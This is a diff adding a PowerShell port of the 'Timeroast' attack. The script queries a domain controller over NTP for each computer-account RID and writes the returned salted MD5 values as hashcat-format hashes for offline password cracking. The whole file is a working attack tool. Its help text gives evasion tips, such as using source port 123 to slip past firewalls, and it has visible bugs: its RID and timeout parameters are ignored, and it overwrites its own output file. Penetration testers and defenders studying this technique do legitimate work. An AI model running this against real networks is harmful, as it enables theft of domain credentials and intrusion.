|
| 1 | +<# |
| 2 | +
|
| 3 | +.SYNOPSIS |
| 4 | + Performs an NTP 'Timeroast' attack against a domain controller. |
| 5 | + Outputs the resulting hashes in the hashcat format 31300 with the |
| 6 | + --username flag ("<RID>:$sntp-ms$<hash>$salt") |
| 7 | +
|
| 8 | +.DESCRIPTION |
| 9 | + Usernames within the hash file are user RIDs. In order to use a |
| 10 | + cracked password that does not contain the computer name, either |
| 11 | + look up the RID in AD (if you already have some account) or use |
| 12 | + a computer name list obtained via reverse DNS, service scanning, |
| 13 | + SMB NULL sessions, etc. |
| 14 | +
|
| 15 | +.PARAMETER domainController |
| 16 | + Hostname or IP address of a domain controller that acts as NTP |
| 17 | + server. |
| 18 | +
|
| 19 | +.PARAMETER outputFile |
| 20 | + Hash output file. Writes to stdout if omitted. |
| 21 | +
|
| 22 | +.PARAMETER relativeIds |
| 23 | + Comma-separated list of RIDs to try. Use hypens to specify |
| 24 | + (inclusive) ranges, e.g. "512-800,600-1400". By default, all |
| 25 | + possible RIDs will be tried until timeout. |
| 26 | +
|
| 27 | +.PARAMETER rate |
| 28 | + NP queries to execute second per second. Higher is faster, but |
| 29 | + with a greater risk of dropper datagrams, resulting in possibly |
| 30 | + incomplete results. Default: 180. |
| 31 | +
|
| 32 | +.PARAMETER timeout |
| 33 | + Quit after not receiving NTP responses for TIMEOUT seconds, |
| 34 | + possibly indicating that RID space has been exhausted. |
| 35 | + Default: 24. |
| 36 | +
|
| 37 | +.PARAMETER oldHashes |
| 38 | + Obtain hashes of the previous computer password instead of the |
| 39 | + current one. |
| 40 | +
|
| 41 | +.PARAMETER port |
| 42 | + NTP source port to use. A dynamic unprivileged port is chosen by default. |
| 43 | + Could be set to 123 to get around a strict firewall. |
| 44 | +
|
| 45 | +.NOTES |
| 46 | + Author of the powershell port: Jacopo (antipatico) Scannella |
| 47 | +
|
| 48 | +#> |
| 49 | +param( |
| 50 | + [Parameter(Mandatory=$true, Position=0)] |
| 51 | + [string]$domainController, |
| 52 | + |
| 53 | + [string]$outputFile, |
| 54 | + [string]$relativeIDs, |
| 55 | + [Uint]$rate = 180, |
| 56 | + [Uint]$timeout = 24, |
| 57 | + [switch]$oldHashes, |
| 58 | + [Uint16]$port |
| 59 | +) |
| 60 | + |
| 61 | +$NTP_PREFIX = [byte[]]@(0xdb,0x00,0x11,0xe9,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xe1,0xb8,0x40,0x7d,0xeb,0xc7,0xe5,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe1,0xb8,0x42,0x8b,0xff,0xbf,0xcd,0x0a) |
| 62 | + |
| 63 | +$keyFlag = $oldHashes ? [Math]::Ceiling([Math]::Pow(2,31)) : 0 |
| 64 | +$results = @{} # Dictionary |
| 65 | + |
| 66 | +for ($rid = 999; $rid -le 1500; $rid++) { |
| 67 | + if ($port -eq 0) { |
| 68 | + $client = New-Object System.Net.Sockets.UdpClient |
| 69 | + } else { |
| 70 | + $client = New-Object System.Net.Sockets.UdpClient($port) |
| 71 | + } |
| 72 | + $client.Client.ReceiveTimeout = 1000/$rate |
| 73 | + $client.Connect($domainController, 123) |
| 74 | + $query = $NTP_PREFIX + [BitConverter]::GetBytes(($rid -bxor $keyFlag)) + [byte[]]::new(16) |
| 75 | + [void] $client.Send($query, $query.Length) |
| 76 | + |
| 77 | + try { |
| 78 | + $reply = $client.Receive([ref]$null) |
| 79 | + |
| 80 | + if ($reply.Length -eq 68) { |
| 81 | + $salt = [byte[]]$reply[0..47] |
| 82 | + $md5Hash = [byte[]]$reply[-16..-1] |
| 83 | + $answerRid = ([BitConverter]::ToUInt32($reply[-20..-16], 0) -bxor $keyFlag) |
| 84 | + |
| 85 | + if($results.ContainsValue($answerRid)) { |
| 86 | + continue |
| 87 | + } |
| 88 | + $results[$answerRid] = [ValueTuple]::Create($salt, $md5Hash) |
| 89 | + } |
| 90 | + } |
| 91 | + catch [System.Management.Automation.MethodInvocationException] { |
| 92 | + # No response, timed-out |
| 93 | + } |
| 94 | + finally { |
| 95 | + $client.Close() |
| 96 | + } |
| 97 | +} |
| 98 | + |
| 99 | +foreach($rid in $results.Keys) { |
| 100 | + $salt = $results[$rid][0] |
| 101 | + $md5Hash = $results[$rid][1] |
| 102 | + $hexSalt = [BitConverter]::ToString($salt).Replace("-", "").ToLower() |
| 103 | + $hexMd5Hash = [BitConverter]::ToString($md5Hash).Replace("-", "").ToLower() |
| 104 | + $hashcatHash = "{0}:`$sntp-ms`${1}`${2}" -f $rid, $hexSalt, $hexMd5Hash |
| 105 | + if ($outputFile) { |
| 106 | + Clear-Content $outputFile |
| 107 | + $hashcatHash | Out-File -Append -FilePath $outputFile |
| 108 | + } else { |
| 109 | + Write-Host $hashcatHash |
| 110 | + } |
| 111 | +} |
0 commit comments